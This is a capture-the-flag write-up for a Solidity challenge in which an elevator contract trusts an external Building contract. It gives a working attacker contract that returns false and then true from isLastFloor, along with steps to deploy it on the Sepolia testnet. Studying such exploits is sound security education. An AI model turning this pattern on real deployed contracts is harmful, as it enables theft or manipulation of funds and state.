Problem statement
This elevator won't let you reach the top of your building. Right?
Things that might help:
- Sometimes solidity is not good at keeping promises.
- This Elevator expects to be used from a Building.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
Solution
Start with creating a new contract for the current level by clicking on the button, Get new instance
. Remember to have enough eth in the connected wallet and that it's connected to the Sepolia network.
Open up the developer tool in your browser (F12) and get the contract address, by executing this code in the console window. This address will be used later.
await contract.address
With this information we can continue to next step. Open a new tab in your browser (Ctrl+t) and go to Remix.
In the file explorer, create a new file and name it MyMaliciousBuilding.sol
.
The following code should be added as a the MyMaliciousBuilding
contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;
interface Elevator {
function goTo(uint) external;
}
contract MyMaliciousBuilding {
address public elevator;
bool public state;
constructor(address _address) {
elevator = _address;
state = true;
}
function isLastFloor(uint) external returns (bool) {
state = !state;
return state;
}
function attack() public {
Elevator(elevator).goTo(1337);
}
}
Go to the compiler and compile the MyMaliciousBuilding
contract. When the contract has been compiled without any errors it's possible to deploy it to the Sepolia network. This is done in the DEPLOY & RUN TRANSACTIONS
view in Remix. Make sure to use the environment, Injected Provider - MetaMask
. It's also important that we give the contract the address to the contract we are attacking, from the first step.
When everything is in order, click the button Deploy
and sign the transaction with your wallet.
Next step is to click on the button attack
for the newly deployed contract.
Once again sign the transaction with your wallet. Then jump back to web page where we created the new instance of the Elevator contract. In the console window verify that the contract has updated its state accordingly.
await contract.top() // should be true
await contract.floor() // should be 1337
If the outcome looks fine, then finish the challenge by clicking the button, Submit instance
, to commit and update the progress on the ethernaut contract.
Explanation
As always we can never trust that the contract we are calling, in this case MyMaliciousBuilding
, will behave.
The interface will not give any guarantees on how the function, isLastFloor
, will be implemented.
In this case we know that the Elevator
contract will be calling it twice.
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
Therefore we can add some state to the MyMaliciousBuilding
contract so that the isLastFloor
function will return, false
, the first time and on the second call it will return, true
.
function isLastFloor(uint) external returns (bool) {
state = !state; // Flip the state...
return state;
}
Lastly, the feedback from the author of the challenge.
Resources
- Elevator - This challenge
- Remix - Web based IDE for Solidity
- Solidity - Solidity documentation
- State mutabillity - the reference from the author